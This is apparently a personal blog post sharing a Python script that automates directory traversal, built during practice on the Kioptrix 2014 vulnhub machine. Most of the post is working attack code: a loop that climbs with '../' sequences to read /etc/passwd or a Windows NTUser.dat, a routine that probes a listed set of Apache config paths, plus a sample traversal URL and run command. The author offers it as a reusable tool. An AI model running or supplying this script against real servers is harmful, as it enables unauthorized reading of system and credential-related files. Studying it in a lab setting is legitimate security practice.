http://vulnerable-site/index.php?path=../../../etc/passwd


This project is a simple python script I wrote to help automate directory traversal attacks. I started this project while I was practicing offensive techniques with the Kioptrix: 2014 (#5) vulnhub machine.

I will be posting a full write up of Kioptrix: 2014 (#5) in the near future.

Directorytraversal.py(raw)

#Try to find root directory with directory traversal
#Then try to find the config file for server

#To-do:
#	Add options for servers other than apache

from optparse import OptionParser	
import requests
import urllib

def findConf(traversal,server,outpath):
	print "Trying to find config file"
	
	with open("./{}conflist".format(server)) as infile:
			for line in infile:
				r = requests.get(traversal.format(line.strip()))
				#print traversal.format(line.strip())
				if r.status_code == 200 and r.content != "":
					print "Found config {}".format(line)
					break

	#Use .html so I don't have to deal with formatting 
	with open(outpath+"config.html", 'w') as f:
		f.write(traversal.format(line.strip())+"\n\n")
		f.write(urllib.unquote(r.content))

		
def main():
	parser = OptionParser("usage%prog -u <url with {} at injection point> -s <web server> -o <outfile> -w ")
	parser.add_option('-u', '--url', dest='url', type='string', help='url with brackets at point to try traversal')
	parser.add_option('-s', '--server', dest='server', default="apache", type='string', help='Specify server:\n\tapache\n\ttodo-add more lists')
	parser.add_option('-o', '--out', dest='outpath', default="./", type='string', help='outfile for config file if found')
	parser.add_option('-w', '--windows', action='store_true', dest='win', default=False, help='Specify server running in windows environment')
	(options, args) = parser.parse_args()

	url = options.url
	server = options.server

	#Add robustness for filepath later
	outpath = options.outpath

	if options.win:
		#This section will need to change when I can test on Windows machine 
		slash="\\"
		user = "Administrator"
		localfile = "C:\\Users\\Administrator\\NTUser.dat"
	else:
		slash="/"
		user = "root"
		localfile="etc%2fpasswd"

	#Try up to 30
	for i in range(30):
		tmp = ""
		tmp = urllib.quote_plus(("..{}".format(slash))*(i+1))
		tmp += "{}"
		
		traversal = url.format(tmp)
		print traversal.format(localfile)
		r = requests.get(traversal.format(localfile))

		#print r.content
		if r.status_code == 200 and user in r.content:
		#	print "Done"
			with open(outpath+"dt-file.html",'w') as f:
				f.write(r.content)
			findConf(traversal,server,outpath)	
			break


if __name__ == '__main__':
	main() 

I tried to write the script in a way that I can continue to add new features in the future. Below I will go over how I used this script for the Kioptrix: 2014 vm.

To run the script I specified the url (-u) and server (-s).

donald@comp:~$ python directorytraversal.py -u "http://vulnerable-site/index.php?path={}" -s apache

Two things to note about the -u option, are that the url should be in quotations and the parameter in the url which is vulnerable to directory traversal should be specified by {}.

I chose to specify the url this way so that I could easily use the format function to place the series of “../” anywhere in the url.

After setting the options correctly, I needed to automate finding the root directory by trying access the /etc/passwd file.

I searched for the passwd file because Kioptrix is a linux machine which will always have /etc/passwd.

#Try up to 30
	for i in range(30):
		tmp = ""
		tmp = urllib.quote_plus(("..{}".format(slash))*(i+1))
		tmp += "{}"
		
		traversal = url.format(tmp)
		print traversal.format(localfile)
		r = requests.get(traversal.format(localfile))

		#print r.content
		if r.status_code == 200 and user in r.content:
		#	print "Done"
			with open(outpath+"dt-file.html",'w') as f:
				f.write(r.content)
			findConf(traversal,server,outpath)	
			break

Above, is the main snippet of code to accomplish finding the root directory. Essentially, it is just a loop which will make a get request to the url with an increasing amount of “../” prepended to “/etc/passwd”.

After making the request, it will check for a 200 status code and for “root”, user variable, in the content. I added the check for user in content because Kioptrix was returning a 200 status code in every response.

You might notice that the treversal variable was written in a weird way and contains a {} in the string. An example instance of traversal is below (minus the url encoding):

http://vulnerable-site/index.php?path=../../../{}

I then format the string with etc/passwd while passing it to the GET request. This way I have the correct traversal path for the root directory stored in a variable.

The next thing I wanted to automate was finding the apache config file. The config file can have many different names or paths and I wanted to easily be able to test for each one.

I wrote a method which makes a get request for each entry in a list of possible config files. The naming convention for the list is ./{server}conflist

def findConf(traversal,server,outpath):
	print "Trying to find config file"
	
	with open("./{}conflist".format(server)) as infile:
			for line in infile:
				r = requests.get(traversal.format(line.strip()))
				#print traversal.format(line.strip())
				if r.status_code == 200 and r.content != "":
					print "Found config {}".format(line)
					break

	#Use .html so I don't have to deal with formatting 
	with open(outpath+"config.html", 'w') as f:
		f.write(traversal.format(line.strip())+"\n\n")
		f.write(urllib.unquote(r.content))

Since I had the root directory path stored in traversal, I could pass the variable to my function and format the string with the different config files.

Below is my current list of paths to test for apache (linux):

etc/httpd/httpd.conf
etc/httpd/apache2.conf
etc/httpd/conf/httpd.conf
etc/httpd/conf/apache2.conf
etc/conf/httpd.conf
etc/conf/apache2.conf
etc/apache2/httpd.conf
etc/apache2/apache2.conf
etc/apache22/httpd.conf
etc/apache22/apache2.conf
usr/local/etc/httpd/httpd.conf
usr/local/etc/httpd/apache2.conf
usr/local/etc/httpd/conf/httpd.conf
usr/local/etc/httpd/conf/apache2.conf
usr/local/etc/conf/httpd.conf
usr/local/etc/conf/apache2.conf
usr/local/etc/apache2/httpd.conf
usr/local/etc/apache2/apache2.conf
usr/local/etc/apache22/httpd.conf
usr/local/etc/apach22/httpd.conf
opt/etc/httpd/httpd.conf
opt/etc/httpd/apache2.conf
opt/etc/httpd/conf/httpd.conf
opt/etc/httpd/conf/apache2.conf
opt/etc/conf/httpd.conf
opt/etc/conf/apache2.conf
opt/etc/apache2/httpd.conf
opt/etc/apache2/apache2.conf
opt/etc/apache22/httpd.conf
opt/etc/apache22/apache2.conf

Please contact me if you have suggestions for the apache config list or lists for other servers.

As I continue to learn, I will update this tool to be able to automate exploitation of different linux and windows servers.